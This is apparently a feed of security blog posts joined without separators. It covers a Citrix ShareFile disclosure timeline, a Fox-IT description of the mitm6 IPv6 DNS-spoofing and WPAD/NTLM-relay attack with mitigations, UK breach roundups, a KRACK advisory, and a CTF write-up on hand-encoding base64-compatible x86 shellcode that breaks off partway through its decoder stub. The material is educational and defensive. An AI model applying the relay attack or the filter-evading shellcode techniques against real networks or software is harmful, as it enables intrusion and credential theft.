    Citrix was quick with following up on the issues and rolling out mitigations by disabling the unzip functionality in the cloud component of ShareFile. While Fox-IT identified several major organisations and enterprises that use ShareFile, it is unknown if they were using the hybrid setup in a vulnerable configuration. Therefor, the number of affected installations and if these issues were abused is unknown.

    Disclosure timeline

    • July 4th 2017: Fox-IT reports all vulnerabilities to Citrix
    • July 7th 2017: Citrix confirms they are able to reproduce vulnerability 1
    • July 11th 2017: Citrix confirms they are able to reproduce the majority of the other vulnerabilities
    • July 12th 2017: Citrix deploys an initial mitigation for vulnerability 1, breaking the attack chain. Citrix informs us the remaining findings will be fixed on a later date as defense-in-depth measures
    • October 31st 2017: Citrix deploys additional fixes to the cloud-based ShareFile components
    • April 6th 2018: Disclosure

    CVE: To be assigned

    mitm6 – compromising IPv4 networks via IPv6

    While IPv6 adoption is increasing on the internet, company networks that use IPv6 internally are quite rare. However, most companies are unaware that while IPv6 might not be actively in use, all Windows versions since Windows Vista (including server variants) have IPv6 enabled and prefer it over IPv4. In this blog, an attack is presented that abuses the default IPv6 configuration in Windows networks to spoof DNS replies by acting as a malicious DNS server and redirect traffic to an attacker specified endpoint. In the second phase of this attack, a new method is outlined to exploit the (infamous) Windows Proxy Auto Discovery (WPAD) feature in order to relay credentials and authenticate to various services within the network. The tool Fox-IT created for this is called mitm6, and is available from the Fox-IT GitHub.

    IPv6 attacks

    Similar to the slow IPv6 adoption, resources about abusing IPv6 are much less prevalent than those describing IPv4 pentesting techniques. While every book and course mentions things such as ARP spoofing, IPv6 is rarely touched on and the tools available to test or abuse IPv6 configurations are limited. The THC IPV6 Attack toolkit is one of the available tools, and was an inspiration for mitm6. The attack described in this blog is a partial version of the SLAAC attack, which was first described by in 2011 by Alex Waters from the Infosec institute. The SLAAC attack sets up various services to man-in-the-middle all traffic in the network by setting up a rogue IPv6 router. The setup of this attack was later automated with a tool by Neohapsis called suddensix.

    The downside of the SLAAC attack is that it attempts to create an IPv6 overlay network over the existing IPv4 network for all devices present. This is hardly a desired situation in a penetration test since this rapidly destabilizes the network. Additionally the attack requires quite a few external packages and services to work. mitm6 is a tool which focusses on an easy to setup solution that selectively attacks hosts and spoofs DNS replies, while minimizing the impact on the network’s regular operation. The result is a python script which requires almost no configuration to set up, and gets the attack running in seconds. When the attack is stopped, the network reverts itself to it’s previous state within minutes due to the tweaked timeouts set in the tool.

    The mitm6 attack

    Attack phase 1 – Primary DNS takeover

    mitm6 starts with listening on the primary interface of the attacker machine for Windows clients requesting an IPv6 configuration via DHCPv6. By default every Windows machine since Windows Vista will request this configuration regularly. This can be seen in a packet capture from Wireshark:

    dhcpv6_cropped

    mitm6 will reply to those DHCPv6 requests, assigning the victim an IPv6 address within the link-local range. While in an actual IPv6 network these addresses are auto-assigned by the hosts themselves and do not need to be configured by a DHCP server, this gives us the opportunity to set the attackers IP as the default IPv6 DNS server for the victims. It should be noted that mitm6 currently only targets Windows based operating systems, since other operating systems like macOS and Linux do not use DHCPv6 for DNS server assignment.

    mitm6 does not advertise itself as a gateway, and thus hosts will not actually attempt to communicate with IPv6 hosts outside their local network segment or VLAN. This limits the impact on the network as mitm6 does not attempt to man-in-the-middle all traffic in the network, but instead selectively spoofs hosts (the domain which is filtered on can be specified when running mitm6).

    The screenshot below shows mitm6 in action. The tool automatically detects the IP configuration of the attacker machine and replies to DHCPv6 requests sent by clients in the network with a DHCPv6 reply containing the attacker’s IP as DNS server. Optionally it will periodically send Router Advertisment (RA) messages to alert client that there is an IPv6 network in place and that clients should request an IPv6 adddress via DHCPv6. This will in some cases speed up the attack but is not required for the attack to work, making it possible to execute this attack on networks that have protection against the SLAAC attack with features such as RA Guard.

    mitm6_cropped

    Attack phase 2 – DNS spoofing

    On the victim machine we see that our server is configured as DNS server. Due to the preference of Windows regarding IP protocols, the IPv6 DNS server will be preferred to the IPv4 DNS server. The IPv6 DNS server will be used to query both for A (IPv4) and AAAA (IPv6) records.

    ipconfig_fixed

    Now our next step is to get clients to connect to the attacker machine instead of the legitimate servers. Our end goal is getting the user or browser to automatically authenticate to the attacker machine, which is why we are spoofing URLs in the internal domain testsegment.local. On the screenshot in step 1 you see the client started requesting information about wpad.testsegment.local immediately after it was assigned an IPv6 address. This is the part we will be exploiting during this attack.

    Exploiting WPAD

    A (short) history of WPAD abuse

    The Windows Proxy Auto Detection feature has been a much debated one, and one that has been abused by penetration testers for years. Its legitimate use is to automatically detect a network proxy used for connecting to the internet in corporate environments. Historically, the address of the server providing the wpad.dat file (which provides this information) would be resolved using DNS, and if no entry was returned, the address would be resolved via insecure broadcast protocols such as Link-Local Multicast Name Resolution (LLMNR). An attacker could reply to these broadcast name resolution protocols, pretend the WPAD file was located on the attackers server, and then prompt for authentication to access the WPAD file. This authentication was provided by default by Windows without requiring user interaction. This could provide the attacker with NTLM credentials from the user logged in on that computer, which could be used to authenticate to services in a process called NTLM relaying.

    In 2016 however, Microsoft published a security bulletin MS16-077, which mitigated this attack by adding two important protections:
    – The location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
    – Authentication does not occur automatically anymore even if this is requested by the server.

    While it is common to encounter machines in networks that are not fully patched and are still displaying the old behaviour of requesting WPAD via LLMNR and automatically authenticating, we come across more and more companies where exploiting WPAD the old-fashioned way does not work anymore.

    Exploiting WPAD post MS16-077

    The first protection, where WPAD is only requested via DNS, can be easily bypassed with mitm6. As soon as the victim machine has set the attacker as IPv6 DNS server, it will start querying for the WPAD configuration of the network. Since these DNS queries are sent to the attacker, it can just reply with its own IP address (either IPv4 or IPv6 depending on what the victim’s machine asks for). This also works if the organization is already using a WPAD file (though in this case it will break any connections from reaching the internet).

    To bypass the second protection, where credentials are no longer provided by default, we need to do a little more work. When the victim requests a WPAD file we won’t request authentication, but instead provide it with a valid WPAD file where the attacker’s machine is set as a proxy. When the victim now runs any application that uses the Windows API to connect to the internet or simply starts browsing the web, it will use the attackers machine as a proxy. This works in Edge, Internet Explorer, Firefox and Chrome, since they all respect the WPAD system settings by default.
    Now when the victim connects to our “proxy” server, which we can identify by the use of the CONNECT HTTP verb, or the presence of a full URI after the GET verb, we reply with a HTTP 407 Proxy Authentication required. This is different from the HTTP code normally used to request authentication, HTTP 401.
    IE/Edge and Chrome (which uses IEs settings) will automatically authenticate to the proxy, even on the latest Windows versions. In Firefox this setting can be configured, but it is enabled by default.

    auth-proxies_fixed

    Windows will now happily send the NTLM challenge/response to the attacker, who can relay it to different services. With this relaying attack, the attacker can authenticate as the victim on services, access information on websites and shares, and if the victim has enough privileges, the attacker can even execute code on computers or even take over the entire Windows Domain. Some of the possibilities of NTLM relaying were explained in one of our previous blogs, which can be found here.

    The full attack

    The previous sections described the global idea behind the attack. Running the attack itself is quite straightforward. First we start mitm6, which will start replying to DHCPv6 requests and afterwards to DNS queries requesting names in the internal network. For the second part of our attack, we use our favorite relaying tool, ntlmrelayx. This tool is part of the impacket Python library by Core Security and is an improvement on the well-known smbrelayx tool, supporting several protocols to relay to. Core Security and Fox-IT recently worked together on improving ntlmrelayx, adding several new features which (among others) enable it to relay via IPv6, serve the WPAD file, automatically detect proxy requests and prompt the victim for the correct authentication. If you want to check out some of the new features, have a look at the relay-experimental branch.

    To serve the WPAD file, all we need to add to the command prompt is the host is the -wh parameter and with it specify the host that the WPAD file resides on. Since mitm6 gives us control over the DNS, any non-existing hostname in the victim network will do. To make sure ntlmrelayx listens on both IPv4 and IPv6, use the -6 parameter. The screenshots below show both tools in action, mitm6 selectively spoofing DNS replies and ntlmrelayx serving the WPAD file and then relaying authentication to other servers in the network.

    ntlmrelay_finalmitm6_cropped

    Defenses and mitigations

    The only defense against this attack that we are currently aware of is disabling IPv6 if it is not used on your internal network. This will stop Windows clients querying for a DHCPv6 server and make it impossible to take over the DNS server with the above described method.
    For the WPAD exploit, the best solution is to disable the Proxy Auto detection via Group Policy. If your company uses a proxy configuration file internally (PAC file) it is recommended to explicitly configure the PAC url instead of relying on WPAD to detect it automatically.
    While writing this blog, Google Project Zero also discovered vulnerabilities in WPAD, and their blog post mentions that disabling the WinHttpAutoProxySvc is the only reliable way that in their experience disabled WPAD.

    Lastly, the only complete solution to prevent NTLM relaying is to disable it entirely and switch to Kerberos. If this is not possible, our last blog post on NTLM relaying mentions several mitigations to minimize the risk of relaying attacks.

    Detection

    The Fox-IT Security Research Team team has released Snort and Suricata signatures to detect rogue DHCPv6 traffic and WPAD replies over IPv6:

    Where to get the tools

    mitm6 is available from the Fox-IT GitHub. The updated version of ntlmrelayx is available from the impacket repository.

    Cyber Security Roundup for November 2017

    One of the most notable data breaches disclosed this month was by Uber, given the company attempted to cover up the breach by paying off hackers. Over a year ago the transport tech firm was said to have paid £75,000 to two hackers to delete 57 million Uber account records which they had stolen. Uber revealed around 2.7 million of the stolen records were British riders and drivers. As a UK Uber rider, this could mean me, I haven't received any notification of the data breach from Uber as yet. The stolen information included names, email addresses, and phone numbers. Uber can expect enforcement action from regulators on both sides of the pond, the UK Information Commissioner's Office (ICO) said it had "huge concerns" about the breach and was investigating.

    Jewson, Cash Converters, and Imgur all reported losing data due to hacks this month, while Equifax has reported suffering significant negative financial losses following their high profile hack of personal customer data. Equifax reported their net income had dropped by £20 million due to the hack, and their breach bill was coming in at a whopping £67 million.

    November was a very busy month for security patches releases, with Microsoft, Apple, Adobe, Oracle, Cisco and Intel releasing a raft of patches to fix critical vulnerabilities. Apple even had to quickly release an emergency patch at end of November to fix a root access flaw reported in macOS High Sierra version 10.13.1. So just keep patching everything IT to ensure you and your business stays ahead of enterprising cybercriminals, the Equifax breach is a prime example of what can go wrong if system patching is neglected.

    November also saw Open Web Application Security Project (OWASP) finally released an updated version to its Top Ten application vulnerabilities list, which is a ‘must know’ secure coding best practice for all software developers and security testers, especially considering that Akamai reported web application attacks had increased by 69% in the third quarter of 2017. Look out for an updated OWASP Top Ten IBM DeveloperWorks Guidance from me in December to reflect the updated list.

    NEWS
    AWARENESS, EDUCATION AND THREAT INTELLIGENCE
    REPORTS

    Krack WiFi Attack: Vulnerabilities in WPA2 Protocol

    All Wi-Fi connections are potentially vulnerable to a newly discovered security attack called "Krack", which allows an attacker to listen in on internet traffic (a Man-in-the-Middle Attack) over a wireless network. 

    In theory, a hacker could read your web and email communications, and even inject malware like ransomware onto your device. Krack takes advantage of unpatched Apple, Android, and Windows operation systems, while unpatched Wi-Fi access points can be manipulated to orchestrate the man-in-the-middle attack.

    The sky is not falling in on WiFi, this is not like the WEP protocol situation of many years ago, WEP is a security protocol fundamentally flawed by design, WPA2 encryption is not broken, the software that uses it needs to be corrected to secure it. Wireless Access Points (APs) and operating systems that use WPA2 are (or soon will be) patchable, which protects them from this attack.

    For a video demo of the attack see - https://www.krackattacks.com/#demo 
    For the full technical details of the WPA2 flaw and attack method see - https://papers.mathyvanhoef.com/ccs2017.pdf

    Wireless Usage Advice
    • Make sure your laptop operating system has the very latest security updates patched (always) i.e. Windows, Linux, Mac. Microsoft said they have already patched Windows systems, but at this time have not confirmed details about which patch it was. Several Linux distributions have released patches for the flaw.
    • Make sure your smartphone and tablet devices have the latest security updates patched, especially Android devices, and Apple, and Windows (if anyone still uses it)
    • As always, if you are going to use public WiFii networks, my first suggestion is to avoid using public WiFi, but if you are, use VPN software. Using a secure VPN will protect you against "Krack exploited" public WiFi access points, regardless of patching and whether AP is exploited. Failing that, if you like to take risks with your personal and confidential information, as a very last resort ensure you use "https://" websites only, and be extra vigilant the "https://" do not revert to "http://".  If it does, it is a clear sign of a compromised wireless network and of your connection to it.

    Preventing Your Wireless Access Point from being Exploited
    Wireless Access Points (AP) firmware versions are presently being updated and released to fix this WPA2 flaw, apply them with they are released - see https://www.kb.cert.org/vuls/id/228519/. AP firmware patches are often missed, as routers updates tend not to be applied automatically.

    Cyber Security Roundup for September 2017

    A massive data breach at Equifax dominated the UK media finance headlines this month, after 143 million customer records were compromised by a cyber-attack, 400,000 of which were UK customer accounts. Hackers took advantage of Equifax’s negligence in not applying security updates to servers. The data breach has already cost the CEO, CIO and CISO their jobs. In the UK Equifax faces investigations and the prospect of significant fines by both the Financial Conduct Authority and the Information Commissioner's Office over the loss of UK customer financial and personal data respectively.

    Hackers stole a quarter of a million Deloitte client emails, follow the breach Deloitte was criticised by security professional for not adopting two-factor authentication to protect the email data which they hosted in Microsoft’s Azure cloud service.

    September was an extremely busy month for security updates, with major patches releases by Microsoft, Adobe, Apache, Cisco and Apple to fix an array of serious security vulnerabilities including BlueBorne, a Bluetooth bug which exposes billions of devices to man-in-the-middle attacks.

    UK government suppliers using Kaspersky to secure their servers and endpoints may well be feeling a bit nervous about the security software after Kaspersky was banned by US Government agencies. The US Senate accused the 20-year-old Russian based security company as being a pawn of the Kremlin and posing a national risk to security. Given the US and UK intelligence agency close ties, there are real fears it could lead to a similar ban in the UK as well. A UK ban could, in theory, be quickly extended to UK government suppliers through the Cyber Essentials scheme, given the Cyber Essentials accreditation is required at all UK government suppliers.

    While on the subject of the Russia, the English FA has increased its cybersecurity posture ahead of next year's World Cup, likely due to concerns about the Russian Bears hacking group. The hacking group has already targeted a number of sports agencies in recent months, including hacking and releasing football player's world cup doping reports last month. 

    In the last couple of weeks, I was Interviewed for Science of Security, and I updated my IBM Developer Works article on Combating IoT Cyber Threats.

    NEWS
    AWARENESS, EDUCATION AND THREAT INTELLIGENCE
    REPORTS

    Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    Hey everybody,

    A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff.

    The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's the fun in that? (also, I didn't think of it :) ). I'm going to cover base64, but these exact same principles apply to alphanumeric - there's absolutely on reason you couldn't change the SET variable in my examples and generate alphanumeric shellcode.

    In this post, we're going to write a base64 decoder stub by hand, which encodes some super simple shellcode. I'll also post a link to a tool I wrote to automate this.

    I can't promise that this is the best, or the easiest, or even a sane way to do this. I came up with this process all by myself, but I have to imagine that the generally available encoders do basically the same thing. :)

    Intro to Shellcode

    I don't want to dwell too much on the basics, so I highly recommend reading PRIMER.md, which is a primer on assembly code and shellcode that I recently wrote for a workshop I taught.

    The idea behind the challenge is that you send the server arbitrary binary data. That data would be encoded into base64, then the base64 string was run as if it were machine code. That means that your machine code had to be made up of characters in the set [a-zA-Z0-9+/]. You could also have an equal sign ("=") or two on the end, but that's not really useful.

    We're going to mostly focus on how to write base64-compatible shellcode, then bring it back to the challenge at the very end.

    Assembly instructions

    Since each assembly instruction has a 1:1 relationship to the machine code it generates, it'd be helpful to us to get a list of all instructions we have available that stay within the base64 character set.

    To get an idea of which instructions are available, I wrote a quick Ruby script that would attempt to disassemble every possible combination of two characters followed by some static data.

    I originally did this by scripting out to ndisasm on the commandline, a tool that we'll see used throughout this blog, but I didn't keep that code. Instead, I'm going to use the Crabstone Disassembler, which is Ruby bindings for Capstone:

    require 'crabstone'
    
    # Our set of known characters
    SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    
    # Create an instance of the Crabstone Disassembler for 32-bit x86
    cs = Crabstone::Disassembler.new(Crabstone::ARCH_X86, Crabstone::MODE_32)
    
    # Get every 2-character combination
    SET.chars.each do |c1|
      SET.chars.each do |c2|
        # Pad it out pretty far with obvious no-op-ish instructions
        data = c1 + c2 + ("A" * 14)
    
        # Disassemble it and get the first instruction (we only care about the
        # shortest instructions we can form)
        instruction = cs.disasm(data, 0)[0]
    
        puts "%s     %s %s" % [
          instruction.bytes.map() { |b| '%02x' % b }.join(' '),
          instruction.mnemonic.to_s,
          instruction.op_str.to_s
        ]
      end
    end
    

    I'd probably do it considerably more tersely in irb if I was actually solving a challenge rather than writing a blog, but you get the idea. :)

    Anyway, running that produces quite a lot of output. We can feed it through sort + uniq to get a much shorter version.

    From there, I manually went through the full 2000+ element list to figure out what might actually be useful (since the vast majority were basically identical, that's easier than it sounds). I moved all the good stuff to the top and got rid of the stuff that's useless for writing a decoder stub. That left me with this list. I left in a bunch of stuff (like multiply instructions) that probably wouldn't be useful, but that I didn't want to completely discount.

    Dealing with a limited character set

    When you write shellcode, there are a few things you have to do. At a minimum, you almost always have to change registers to fairly arbitrary values (like a command to execute, a file to read/write, etc) and make syscalls ("int 0x80" in assembly or "\xcd\x80" in machine code; we'll see how that winds up being the most problematic piece!).

    For the purposes of this blog, we're going to have 12 bytes of shellcode: a simple call to the sys_exit() syscall, with a return code of 0x41414141. The reason is, it demonstrates all the fundamental concepts (setting variables and making syscalls), and is easy to verify as correct using strace

    Here's the shellcode we're going to be working with:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    We'll be using this code throughout, so make sure you have a pretty good grasp of it! It assembles to (on Ubuntu, if this fails, try apt-get install nasm):

    $ echo -e 'bits 32\n\nmov eax, 0x01\nmov ebx, 0x41414141\nint 0x80\n' > file.asm; nasm -o file file.asm
    $ hexdump -C file
    00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |............|
    

    If you want to try running it, you can use my run_raw_code.c utility (there are plenty just like it):

    $ strace ./run_raw_code file
    [...]
    read(3, "\270\1\0\0\0\273AAAA\315\200", 12) = 12
    exit(1094795585)                        = ?
    

    The read() call is where the run_raw_code stub is reading the shellcode file. The 1094795585 in exit() is the 0x41414141 that we gave it. We're going to see that value again and again and again, as we evaluate the correctness of our code, so get used to it!

    You can also prove that it disassembles properly, and see what each line becomes using the ndisasm utility (this is part of the nasm package):

    $ ndisasm -b32 file
    00000000  B801000000        mov eax,0x1
    00000005  BB41414141        mov ebx,0x41414141
    0000000A  CD80              int 0x80
    

    Easy stuff: NUL byte restrictions

    Let's take a quick look at a simple character restriction: NUL bytes. It's commonly seen because NUL bytes represent string terminators. Functions like strcpy() stop copying when they reach a NUL. Unlike base64, this can be done by hand!

    It's usually pretty straight forward to get rid of NUL bytes by just looking at where they appear and fixing them; it's almost always the case that it's caused by 32-bit moves or values, so we can just switch to 8-bit moves (using eax is 32 bits; using al, the last byte of eax, is 8 bits):

    xor eax, eax ; Set eax to 0
    inc eax ; Increment eax (set it to 1) - could also use "mov al, 1", but that's one byte longer
    mov ebx, 0x41414141 ; Set ebx to the usual value, no NUL bytes here
    int 0x80 ; Perform the syscall
    

    We can prove this works, as well (I'm going to stop showing the echo as code gets more complex, but I use file.asm throughout):

    $ echo -e 'bits 32\n\nxor eax, eax\ninc eax\nmov ebx, 0x41414141\nint 0x80\n'> file.asm; nasm -o file file.asm
    $ hexdump -C file
    00000000  31 c0 40 bb 41 41 41 41  cd 80                    |1.@.AAAA..|
    

    Simple!

    Clearing eax in base64

    Something else to note: our shellcode is now largely base64! Let's look at the disassembled version so we can see where the problems are:

    $ ndisasm -b32 file                               65 [11:16:34]
    00000000  31C0              xor eax,eax
    00000002  40                inc eax
    00000003  BB41414141        mov ebx,0x41414141
    00000008  CD80              int 0x80
    

    Okay, maybe we aren't so close: the only line that's actually compatible is "inc eax". I guess we can start the long journey!

    Let's start by looking at how we can clear eax using our instruction set. We have a few promising instructions for changing eax, but these are the ones I like best:

    • 35 ?? ?? ?? ?? xor eax,0x????????
    • 68 ?? ?? ?? ?? push dword 0x????????
    • 58 pop eax

    Let's start with the most naive approach:

    push 0
    pop eax
    

    If we assemble that, we get:

    00000000  6A00              push byte +0x0
    00000002  58                pop eax
    

    Close! But because we're pushing 0, we end up with a NUL byte. So let's push something else:

    push 0x41414141
    pop eax
    

    If we look at how that assembles, we get:

    00000000  68 41 41 41 41 58                                 |hAAAAX|
    

    Not only is it all Base64 compatible now, it also spells "hAAAAX", which is a fun coincidence. :)

    The problem is, eax doesn't end up as 0, it's 0x41414141. You can verify this by adding "int 3" at the bottom, dumping a corefile, and loading it in gdb (feel free to use this trick throughout if you're following along, I'm using it constantly to verify my code snippings, but I'll only show it when the values are important):

    $ ulimit -c unlimited
    $ rm core
    $ cat file.asm
    bits 32
    
    push 0x41414141
    pop eax
    int 3
    $ nasm -o file file.asm
    $ ./run_raw_code ./file
    allocated 8 bytes of executable memory at: 0x41410000
    fish: “./run_raw_code ./file” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ./run_raw_code ./core
    Core was generated by `./run_raw_code ./file`.
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410008 in ?? ()
    (gdb) print/x $eax
    $1 = 0x41414141
    

    Anyway, if we don't like the value, we can xor a value with eax, provided that the value is also base64-compatible! So let's do that:

    push 0x41414141
    pop eax
    xor eax, 0x41414141
    

    Which assembles to:

    00000000  68 41 41 41 41 58 35 41  41 41 41                 |hAAAAX5AAAA|

    All right! You can verify using the debugger that, at the end, eax is, indeed, 0.

    Encoding an arbitrary value in eax

    If we can set eax to 0, does that mean we can set it to anything?

    Since xor works at the byte level, the better question is: can you xor two base-64-compatible bytes together, and wind up with any byte?

    Turns out, the answer is no. Not quite. Let's look at why!

    We'll start by trying a pure bruteforce (this code is essentially from my solution):

    SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    def find_bytes(b)
      SET.bytes.each do |b1|
        SET.bytes.each do |b2|
          if((b1 ^ b2) == b)
            return [b1, b2]
          end
        end
      end
      puts("Error: Couldn't encode 0x%02x!" % b)
      return nil
    end
    
    0.upto(255) do |i|
      puts("%x => %s" % [i, find_bytes(i)])
    end
    

    The full output is here, but the summary is:

    0 => [65, 65]
    1 => [66, 67]
    2 => [65, 67]
    3 => [65, 66]
    ...
    7d => [68, 57]
    7e => [70, 56]
    7f => [70, 57]
    Error: Couldn't encode 0x80!
    80 =>
    Error: Couldn't encode 0x81!
    81 =>
    Error: Couldn't encode 0x82!
    82 =>
    ...
    

    Basically, we can encode any value that doesn't have the most-significant bit set (ie, anything under 0x80). That's going to be a problem that we'll deal with much, much later.

    Since many of our instructions operate on 4-byte values, not 1-byte values, we want to operate in 4-byte chunks. Fortunately, xor is byte-by-byte, so we just need to treat it as four individual bytes:

    def get_xor_values_32(desired)
      # Convert the integer into a string (pack()), then into the four bytes
      b1, b2, b3, b4 = [desired].pack('N').bytes()
    
      v1 = find_bytes(b1)
      v2 = find_bytes(b2)
      v3 = find_bytes(b3)
      v4 = find_bytes(b4)
    
      # Convert both sets of xor values back into integers
      result = [
        [v1[0], v2[0], v3[0], v4[0]].pack('cccc').unpack('N').pop(),
        [v1[1], v2[1], v3[1], v4[1]].pack('cccc').unpack('N').pop(),
      ]
    
    
      # Note: I comment these out for many of the examples, simply for brevity
      puts '0x%08x' % result[0]
      puts '0x%08x' % result[1]
      puts('----------')
      puts('0x%08x' % (result[0] ^ result[1]))
      puts()
    
      return result
    end
    

    This function takes a single 32-bit value and it outputs the two xor values (note that this won't work when the most significant bit is set.. stay tuned for that!):

    irb(main):039:0> get_xor_values_32(0x01020304)
    0x42414141
    0x43434245
    ----------
    0x01020304
    
    => [1111572801, 1128481349]
    
    irb(main):040:0> get_xor_values_32(0x41414141)
    0x6a6a6a6a
    0x2b2b2b2b
    ----------
    0x41414141
    
    => [1785358954, 724249387]
    

    And so on.

    So if we want to set eax to 0x00000001 (for the sys_exit syscall), we can simply feed it into this code and convert it to assembly:

    get_xor_values_32(0x01)
    0x41414142
    0x41414143
    ----------
    0x00000001
    
    => [1094795586, 1094795587]
    

    Then write the shellcode:

    push 0x41414142
    pop eax
    xor eax, 0x41414143
    

    And prove to ourselves that it's base-64-compatible; I believe in doing this, because every once in awhile an instruction like "inc eax" (which becomes '@') will slip in when I'm not paying attention:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41                 |hBAAAX5CAAA|
    

    We'll be using that exact pattern a lot - push (value) / pop eax / xor eax, (other value). It's the most fundamental building block of this project!

    Setting other registers

    Sadly, unless I missed something, there's no easy way to set other registers. We can increment or decrement them, and we can pop values off the stack into some of them, but we don't have the ability to xor, mov, or anything else useful!

    There are basically three registers that we have easy access to:

    • 58 pop eax
    • 59 pop ecx
    • 5A pop edx

    So to set ecx to an arbitrary value, we can do it via eax:

    push 0x41414142
    pop eax
    xor eax, 0x41414143 ; eax -> 1
    push eax
    pop ecx ; ecx -> 1
    

    Then verify the base64-ness:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41 50 59           |hBAAAX5CAAAPY|
    

    Unfortunately, if we try the same thing with ebx, we hit a non-base64 character:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41 50 5b           |hBAAAX5CAAAP[|
    

    Note the "[" at the end - that's not in our character set! So we're pretty much limited to using eax, ecx, and edx for most things.

    But wait, there's more! We do, however, have access to popad. The popad instruction pops the next 8 things off the stack and puts them in all 8 registers. It's a bit of a scorched-earth method, though, because it overwrites all registers. We're going to use it at the start of our code to zero-out all the registers.

    Let's try to convert our exit shellcode from earlier:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Into something that's base-64 friendly:

    ; We'll start by populating the stack with 0x41414141's
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    
    ; Then popad to set all the registers to 0x41414141
    popad
    
    ; Then set eax to 1
    push 0x41414142
    pop eax
    xor eax, 0x41414143
    
    ; Finally, do our syscall (as usual, we're going to ignore the fact that the syscall isn't base64 compatible)
    int 0x80
    

    Prove that it uses only base64 characters (except the syscall):

    $ hexdump -C file
    00000000  68 41 41 41 41 68 41 41  41 41 68 41 41 41 41 68  |hAAAAhAAAAhAAAAh|
    00000010  41 41 41 41 68 41 41 41  41 68 41 41 41 41 68 41  |AAAAhAAAAhAAAAhA|
    00000020  41 41 41 68 41 41 41 41  61 68 42 41 41 41 58 35  |AAAhAAAAahBAAAX5|
    00000030  43 41 41 41 cd 80                                 |CAAA..|
    

    And prove that it still works:

    $ strace ./run_raw_code ./file
    ...
    read(3, "hAAAAhAAAAhAAAAhAAAAhAAAAhAAAAhA"..., 54) = 54
    exit(1094795585)                        = ?
    

    Encoding the actual code

    You've probably noticed by now: this is a lot of work. Especially if you want to set each register to a different non-base64-compatible value! You have to encode each value by hand, making sure you set eax last (because it's our working register). And what if you need an instruction (like add, or shift) that isn't available? Do we just simulate it?

    As I'm sure you've noticed, the machine code is just a bunch of bytes. What's stopping us from simply encoding the machine code rather than just values?

    Let's take our original example of an exit again:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Because 'mov' assembles to 0xb8XXXXXX, I don't want to deal with that yet (the most-significant bit is set). So let's change it a bit to keep each byte (besides the syscall) under 0x80:

    00000000  6A01              push byte +0x1
    00000002  58                pop eax
    00000003  6841414141        push dword 0x41414141
    00000008  5B                pop ebx
    

    Or, as a string of bytes:

    "\x6a\x01\x58\x68\x41\x41\x41\x41\x5b"

    Let's pad that to a multiple of 4 so we can encode in 4-byte chunks (we pad with 'A', because it's as good a character as any):

    "\x6a\x01\x58\x68\x41\x41\x41\x41\x5b\x41\x41\x41"

    then break that string into 4-byte chunks, encoding as little endian (reverse byte order):

    • 6a 01 58 68 -> 0x6858016a
    • 41 41 41 41 -> 0x41414141
    • 5b 41 41 41 -> 0x4141415b

    Then run each of those values through our get_xor_values_32() function from earlier:

    irb(main):047:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x6858016a)
    0x43614241 ^ 0x2b39432b
    
    irb(main):048:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41414141)
    0x6a6a6a6a ^ 0x2b2b2b2b
    
    irb(main):050:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x4141415b)
    0x6a6a6a62 ^ 0x2b2b2b39
    

    Let's start our decoder by simply calculating each of these values in eax, just to prove that they're all base64-compatible (note that we are simply discarding the values in this example, we aren't doing anything with them quite yet):

    push 0x43614241
    pop eax
    xor eax, 0x2b39432b ; 0x6858016a
    
    push 0x6a6a6a6a
    pop eax
    xor eax, 0x2b2b2b2b ; 0x41414141
    
    push 0x6a6a6a62
    pop eax
    xor eax, 0x2b2b2b39 ; 0x4141415b
    

    Which assembles to:

    $ hexdump -Cv file
    00000000  68 41 42 61 43 58 35 2b  43 39 2b 68 6a 6a 6a 6a  |hABaCX5+C9+hjjjj|
    00000010  58 35 2b 2b 2b 2b 68 62  6a 6a 6a 58 35 39 2b 2b  |X5++++hbjjjX59++|
    00000020  2b                                                |+|
    

    Looking good so far!

    Decoder stub

    Okay, we've proven that we can encode instructions (without the most significant bit set)! Now we actually want to run it!

    Basically: our shellcode is going to start with a decoder, followed by a bunch of encoded bytes. We'll also throw some padding in between to make this easier to do by hand. The entire decoder has to be made up of base64-compatible bytes, but the encoded payload (ie, the shellcode) has no restrictions.

    So now we actually want to alter the shellcode in memory (self-rewriting code!). We need an instruction to do that, so let's look back at the list of available instructions! After some searching, I found one that's promising:

    3151??            xor [ecx+0x??],edx
    

    This command xors the 32-bit value at memory address ecx+0x?? with edx. We know we can easily control ecx (push (value) / pop eax / xor (other value) / push eax / pop ecx) and, similarly edx. Since the "0x??" value has to also be a base64 character, we'll follow our trend and use [ecx+0x41], which gives us:

    315141            xor [ecx+0x41],edx
    

    Once I found that command, things started coming together! Since I can control eax, ecx, and edx pretty cleanly, that's basically the perfect instruction to decode our shellcode in-memory!

    This is somewhat complex, so let's start by looking at the steps involved:

    • Load the encoded shellcode (half of the xor pair, ie, the return value from get_xor_values_32()) into a known memory address (in our case, it's going to be 0x141 bytes after the start of our code)
    • Set ecx to the value that's 0x41 bytes before that encoded shellcode (0x100)
    • For each 32-bit pair in the encoded shellcode...
      • Load the other half of the xor pair into edx
